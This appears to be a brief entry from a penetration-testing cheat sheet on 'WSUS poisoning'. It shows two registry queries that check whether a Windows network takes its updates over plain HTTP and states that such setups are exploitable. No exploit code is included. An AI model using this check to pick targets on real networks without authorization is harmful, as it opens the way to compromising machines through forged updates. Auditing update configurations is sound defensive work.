# WSUS Poison

## Brief

You can compromise the system if the updates are not requested using **httpS** but **http**.

```powershell
# Check if the network uses a non-SSL WSUS update by running the following :
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
# If you get a reply such as:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
      WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
	  
# and if this returns 1 :
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
# this is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.
```
